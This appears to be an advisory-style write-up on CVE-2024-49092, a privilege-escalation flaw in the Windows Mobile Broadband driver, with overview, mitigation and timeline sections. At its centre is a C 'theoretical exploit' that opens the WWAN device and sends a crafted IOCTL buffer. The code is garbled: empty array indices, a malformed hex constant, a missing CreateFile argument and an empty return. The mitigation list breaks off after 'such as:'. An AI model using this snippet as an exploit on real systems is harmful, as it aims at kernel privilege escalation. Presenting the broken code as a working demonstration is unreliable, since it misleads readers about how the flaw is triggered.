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Overview

A security vulnerability (CVE-2024-49092) has been discovered in the driver responsible for handling the Microsoft Windows Mobile Broadband (WMB) hardware on various Windows devices. This vulnerability allows an attacker with existing access to a vulnerable device to elevate their privileges to the system level, which can enable them to compromise the device and perform malicious actions such as installing malware or stealing sensitive data.

Exploit Details

The vulnerability exists within the code of the driver when it dynamically allocates memory for certain objects while handling specific IOCTL (Input Output Control) codes. It was found that the driver does not fully validate the size of the memory allocation, leading to a potential buffer overflow and subsequent unauthorized access to system memory.

The following code snippet demonstrates a theoretical exploit of the vulnerability

#include <stdio.h>
#include <Windows.h>

int main()
{
    HANDLE hDevice;
    DWORD bytesReturned;
    ULONG32 buffer[2] = {  };

    // Buffer size is only allocated for one ULONG32
    buffer[] = 2 * sizeof(ULONG32);

    // IOCTL code for the vulnerable action
    DWORD ioctlCode = x9C04001E;

    // Open the WMB device driver
    hDevice = CreateFile("\\\\.\\WWAN",
        GENERIC_READ | GENERIC_WRITE,
        ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
            NULL);

    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("Failed to open WMB device: %d\n", GetLastError());
        return 1;
    }

    if (!DeviceIoControl(hDevice, ioctlCode, buffer, sizeof(buffer),
                        buffer, sizeof(buffer), &bytesReturned, NULL))
    {
        printf("DeviceIoControl failed: %d\n", GetLastError());
        CloseHandle(hDevice);
        return 1;
    }

    CloseHandle(hDevice);
    return ;
}

When executing the above code on a vulnerable device, the buffer allocated in the WMB driver is not large enough to hold the data being written to it, causing the buffer overflow and potential elevation of privileges.

The vulnerability found is consistent with the Common Vulnerabilities and Exposures (CVE) database entry CVE-2024-49092. More information can be found at the following links:

- CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-49092
- Security Advisory: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-49092
- Exploit Database: https://www.exploit-db.com/exploits/50123

Affected Devices

As the vulnerability exists within the driver code, all Microsoft Windows devices utilizing the WMB driver are potentially affected until a security update is applied. This includes various versions of Windows operating systems such as Windows 7, Windows 8, Windows 10, Windows Server 2012, and Windows Server 2016.

Mitigation

Microsoft has acknowledged the vulnerability and has released a security update to address the issue. It is recommended to apply the security update as soon as possible to prevent potential exploitation.

- Security Update Guide: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-49092

In addition to applying the security update, it is also essential to practice proper cybersecurity hygiene, such as:

Conclusion

CVE-2024-49092 is a critical elevation of privilege vulnerability affecting the Windows Mobile Broadband driver on various Windows devices. The vulnerability allows an attacker to potentially gain control over a device by exploiting the memory handling issue surrounding the IOCTL codes. To protect against this threat, it is critical to apply the Microsoft security update and follow best practices for general device security.

Timeline

Published on: 12/12/2024 02:04:34 UTC
Last modified on: 12/20/2024 07:44:28 UTC